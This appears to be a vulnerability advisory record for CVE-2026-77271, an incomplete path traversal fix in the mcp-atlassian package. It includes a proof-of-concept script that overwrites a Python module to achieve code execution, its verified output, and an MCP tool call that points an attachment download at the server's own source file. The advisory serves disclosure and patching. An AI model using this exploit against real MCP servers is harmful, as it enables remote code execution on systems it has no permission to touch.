{"id":"CVE-2026-77271","aliases":["GHSA-6vmq-24h2-pj7j"],"url":"https://o3.security/vulnerability/CVE-2026-77271","summary":"MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of CVE-2026-27825)","details":"### Summary\n\nThe path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without\nraising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).\n\n### Details\n\n`src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:\n\n```python\ndef validate_safe_path(path, base_dir=None) -> Path:\n    if base_dir is None:\n        base_dir = os.getcwd()       # root of the issue\n    resolved_base = Path(base_dir).resolve(strict=False)\n    ...\n    if not resolved_path.is_relative_to(resolved_base):\n        raise ValueError(\"Path traversal detected\")\n```\n\nBoth call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:\n\n```python\nvalidate_safe_path(target_path)   # line ~227, download_attachment()\nvalidate_safe_path(target_dir)    # line ~270, download_content_attachments()\n```\n\nWhen the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:\n\n```\n/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception\n/app/src/mcp_atlassian/servers/main.py            -> passes, no exception\n/app/.env                                          -> passes, no exception\n```\n\n### PoC\n\n**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.\nAdditionally requires Python 3.10+ and `uvx` to run the proof below.\n\nThe script imports `validate_safe_path` directly from the installed package, not a simulation of the function.\n\n```python\n# poc_bypass.py\nimport os, tempfile, shutil, importlib.util\nfrom pathlib import Path\nfrom mcp_atlassian.utils.io import validate_safe_path  # real package\n\nprint(f\"Module: {validate_safe_path.__module__}\")\n\n# Simulate /app (standard container CWD)\napp_dir = tempfile.mkdtemp(prefix=\"mcp_atlassian_app_\")\nmodule_dir = os.path.join(app_dir, \"src\", \"mcp_atlassian\")\nos.makedirs(module_dir)\nmodule_path = os.path.join(module_dir, \"attachments.py\")\nPath(module_path).write_text('def get_secret(): return \"LEGITIMATE\"\\n')\nos.chdir(app_dir)\n\n# Control: classic traversal is blocked\ntry:\n    validate_safe_path(\"/etc/passwd\")\nexcept ValueError:\n    print(\"[OK]     /etc/passwd blocked\")\n\n# Bypass: intra-CWD path passes without exception\nresult = validate_safe_path(module_path)\nprint(f\"[BYPASS] {result} - no exception raised\")\n\n# Overwrite module with attacker payload\n# (content sourced from a Confluence attachment uploaded by the attacker)\nPath(module_path).write_bytes(\n    b\"import os\\n_PWNED=True\\n\"\n    b\"def get_secret():\\n\"\n    b\"    os.system('id')\\n\"\n    b\"    return 'PWNED'\\n\"\n)\nprint(\"[WRITE]  Module overwritten with malicious payload\")\n\n# Simulate process restart / module reload\nspec = importlib.util.spec_from_file_location(\"m\", module_path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)   # os.system('id') executes here\n\nprint(f\"[RCE]    get_secret() = {repr(mod.get_secret())}\")\nprint(f\"[RCE]    _PWNED = {mod._PWNED}\")\n\nshutil.rmtree(app_dir)\n```\n\n```bash\nuvx --from mcp-atlassian python poc_bypass.py\n```\n\n**Verified output (mcp-atlassian 0.21.0):**\n\n```\nModule: mcp_atlassian.utils.io\n\n[OK]     /etc/passwd blocked\n[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised\n[WRITE]  Module overwritten with malicious payload\nuid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n[RCE]    get_secret() = 'PWNED'\n[RCE]    _PWNED = True\n```\n\n**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"confluence_download_attachment\",\n    \"arguments\": {\n      \"page_id\":       \"<page_id>\",\n      \"attachment_id\": \"<malicious_attachment_id>\",\n      \"download_path\": \"/app/src/mcp_atlassian/confluence/attachments.py\"\n    }\n  }\n}\n```\n\n`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.\n\n### Impact\n\n**Affected versions:** 0.17.0 through 0.21.0 (latest).\n\nAttack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.\n\n**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:\n\n```python\n_DOWNLOAD_BASE = Path(\n    os.environ.get(\"MCP_DOWNLOAD_DIR\", \"/tmp/mcp-downloads\")\n).resolve()\n\nvalidate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)\n```","published":"2026-09-22T18:00:33.694Z","modified":"2026-09-26T03:30:16.195852427Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"mcp-atlassian","fixedVersion":"0.22.0"}],"fix":{"url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460","label":"sooperset/mcp-atlassian@b041733"},"references":[{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77271.json"},{"type":"ADVISORY","url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77271"},{"type":"FIX","url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"},{"type":"FIX","url":"https://github.com/sooperset/mcp-atlassian/pull/1448"},{"type":"PACKAGE","url":"https://github.com/sooperset/mcp-atlassian"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-26T03:30:16.195852427Z"}}